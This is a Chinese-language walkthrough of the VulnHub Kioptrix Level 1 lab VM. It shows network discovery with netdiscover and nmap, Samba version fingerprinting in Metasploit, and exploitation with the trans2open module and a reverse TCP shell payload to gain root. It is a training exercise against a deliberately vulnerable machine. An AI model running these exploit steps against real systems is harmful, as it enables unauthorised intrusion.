# KIOPTRIX: LEVEL 1 :::spoiler [靶機簡介](https://www.vulnhub.com/entry/kioptrix-level-1-1,22/) :::info **About Release** Name: Kioptrix: Level 1 (#1) Date release: 17 Feb 2010 Author: Kioptrix Series: Kioptrix Web page: http://www.kioptrix.com/blog/?page_id=135 **Download** Kioptrix_Level_1.rar (Size: 186 MB) Download: http://www.kioptrix.com/dlvm/Kioptrix_Level_1.rar Download (Mirror): https://download.vulnhub.com/kioptrix/Kioptrix_Level_1.rar **Description** KIOPTRIX VM IMAGE CHALLENGES: This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges. Source: http://www.kioptrix.com/blog/?page_id=135 Source: http://www.kioptrix.com/blog/?p=49 **File Information** Filename: Kioptrix_Level_1.rar File size: 186 MB MD5: 6DF1A7DFA555A220054FB98BA87FACD4 SHA1: 98CA3F4C079254E6B272265608E7D22119350A37 **Virtual Machine** Format: Virtual Machine (VMware) Operating System: Linux **Networking** DHCP service: Enabled IP address: Automatically assign ::: <br> <br> **前置工作** * 匯入 VMware ![image](https://hackmd.io/_uploads/H1IEeaOKp.png =80%x) * 虛擬機配置不同網路-Bridged([網路](https://blog.csdn.net/Attsky/article/details/109320325)、[IP](https://blog.csdn.net/qq1069380146/article/details/111995334)) ![image](https://hackmd.io/_uploads/BkJ6mp_tp.png =80%x) ![image](https://hackmd.io/_uploads/rJOQumtKT.png =80%x) * [教學影片](https://youtu.be/9cKhZaYecM4?si=v4t-Rware1D48a8Z) ![image](https://hackmd.io/_uploads/ByNlUGtFp.png =80%x) <br> <br> ## 步驟一、找到其服務 首先,先使用ifconfig查看自己的IP。`192.168.1.10`。 ![image](https://hackmd.io/_uploads/SJshOmKYT.png =80%x) 使用netdiscover查看本地端的IP尋找靶機。 `sudo netdiscover -r 192.168.1.0/24` ![image](https://hackmd.io/_uploads/SJTDdXKFp.png =80%x) 使用nmap查看其服務。 `sudo nmap -A -T4 192.168.1.104` ![image](https://hackmd.io/_uploads/rkJSYmKKT.png =80%x) <br> ## 步驟二、尋找漏洞 Metasploit 框架是一個功能豐富的開源渗透測試框架,其中的 msfconsole 是其主要命令行界面,提供了一個互動式的控制台,用於進行漏洞測試和攻擊模擬。 1. 探索漏洞: 使用 `search` 指令來搜尋 Metasploit 框架中的漏洞模組。例如,你可以輸入以下指令搜尋特定漏洞: ``` search <漏洞名稱> ``` 2. 選擇攻擊模組: 使用 use 指令來選擇要使用的攻擊模組。一旦你找到了想要利用的漏洞模組,可以使用以下指令: ``` use <模組名稱> ``` 3. 設定攻擊模組參數: 使用 set 指令來設定攻擊模組的相關參數,以便定制攻擊的目標和方式。例如: ``` set <參數名稱> <值> ``` 4. 執行攻擊: 最後,使用 exploit 指令來執行選擇的攻擊模組,觸發相應的攻擊。這將開始模擬或實際執行渗透測試。 ``` exploit ``` `139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)` 很可疑。 smbd 是 Samba 軟體套件中的一個核心組件,它是 Samba Daemon 的縮寫。Samba 是一個開源的軟體套件,提供了與 Microsoft Windows 互通的 SMB/CIFS 協定的實現。Samba 允許非 Windows 系統(例如 Linux、Unix)與 Windows 系統共享檔案、印表機和其他資源。smbd 是 Samba 中負責實現 SMB(Server Message Block)協定的守護進程,它允許其他機器通過 SMB/CIFS 協定訪問和共享資源。這使得 Linux/Unix 系統能夠擔任文件伺服器,與 Windows 系統協同工作,共享檔案和資源。 ![image](https://hackmd.io/_uploads/r1ack4FY6.png =80%x) 使用 msfconsole 查看。`sudo msfconsole`。 ![image](https://hackmd.io/_uploads/ByKQyEKFp.png =80%x) 查看`search smb_version`。使用`use 0`。 ![image](https://hackmd.io/_uploads/rJ7BgNYFT.png =80%x) ` options`。 在 Metasploit 框架中,options 是一個用於查看和配置模組(payload、exploit、auxiliary 等)參數的指令。這個指令允許你檢視目前模組的參數配置狀態,以及進行必要的修改。 ![image](https://hackmd.io/_uploads/BJHFbEFta.png =80%x) 設置`RHOSTS`參數為`192.169.1.104`。 `set RHOSTS 192.168.1.104`。再`show options`。 ![image](https://hackmd.io/_uploads/SkDkfVttT.png =80%x) `exploit`。得到smba版本`Samba 2.2.1a`。 ![image](https://hackmd.io/_uploads/ryKvG4KYp.png =80%x) <br> ## 步驟三、查找漏洞版本問題 Google `Samba 2.2.1a`在msfconsole上[應用](https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/linux/samba/trans2open)。 ![image](https://hackmd.io/_uploads/rySDQEYFp.png =80%x) 找到使用`trans2open`。 ![image](https://hackmd.io/_uploads/ByXQSwtt6.png=80%x) ``` search trans2open use 1 show options ``` ![image](https://hackmd.io/_uploads/H1k4IvKFa.png) ``` set RHOSTS 192.168.1.104 ``` ![image](https://hackmd.io/_uploads/B1La8wKYT.png) `exploit`。 ![image](https://hackmd.io/_uploads/BkgfwDtYa.png) <br> ``` set payload generic/shell_reverse_tcp exploit ``` ![image](https://hackmd.io/_uploads/HyThuwKFa.png) 對於 generic/shell_reverse_tcp 這樣的 payload,它是一個反向 shell 載荷,通常設計成能夠與目標系統建立反向的 TCP 連接,以提供互動式的 shell 會話。generic 的使用表示這個 payload 將根據攻擊環境的具體情況進行一些通用的調整,以確保它在不同情境下的兼容性。 <br> ## 步驟四、驗證身分 ``` whoami id ``` ![image](https://hackmd.io/_uploads/SyFKOPtKp.png)